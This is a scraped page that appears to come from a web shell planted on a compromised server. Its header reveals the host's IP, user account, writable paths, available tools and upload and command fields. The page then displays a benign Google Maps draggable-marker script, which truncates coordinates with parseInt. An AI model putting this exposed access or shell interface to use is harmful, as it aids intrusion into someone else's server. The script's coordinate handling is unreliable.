SCDNG PELER
Server IP : 144.76.124.212  /  Your IP : 216.73.216.55
Web Server : LiteSpeed
System : Linux l4cp.vnetindia.com 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : rakcha ( 1356)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home5/rakcha/www/app/assets/js/page/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home5/rakcha/www/app/assets/js/page/gmaps-draggable-marker.js
"use strict";



var input_lat = $("#input-lat"), // latitude input text

  input_lng = $("#input-lng"), // longitude input text

  map = new GMaps({ // init map

    div: '#map',

    lat: 23.014711,

    lng: 72.530810

  });



// add marker

var marker = map.addMarker({

  lat: 23.014711,

  lng: 72.530810,

  draggable: true,

});



// when the map is clicked

map.addListener("click", function (e) {

  var lat = e.latLng.lat(),

    lng = e.latLng.lng();



  // move the marker position

  marker.setPosition({

    lat: lat,

    lng: lng

  });

  update_position();

});



// when the marker is dragged

marker.addListener('drag', function (e) {

  update_position();

});



// set the value to latitude and longitude input

update_position();

function update_position() {

  var lat = marker.getPosition().lat(), lng = marker.getPosition().lng();

  input_lat.val(lat);

  input_lng.val(lng);

}



// move the marker when the latitude and longitude inputs change in value

$("#input-lat,#input-lng").blur(function () {

  var lat = parseInt(input_lat.val()),

    lng = parseInt(input_lng.val());



  marker.setPosition({

    lat: lat,

    lng: lng

  });

  map.setCenter({

    lat: lat,

    lng: lng

  });

});


Anon7 - 2022
SCDN GOK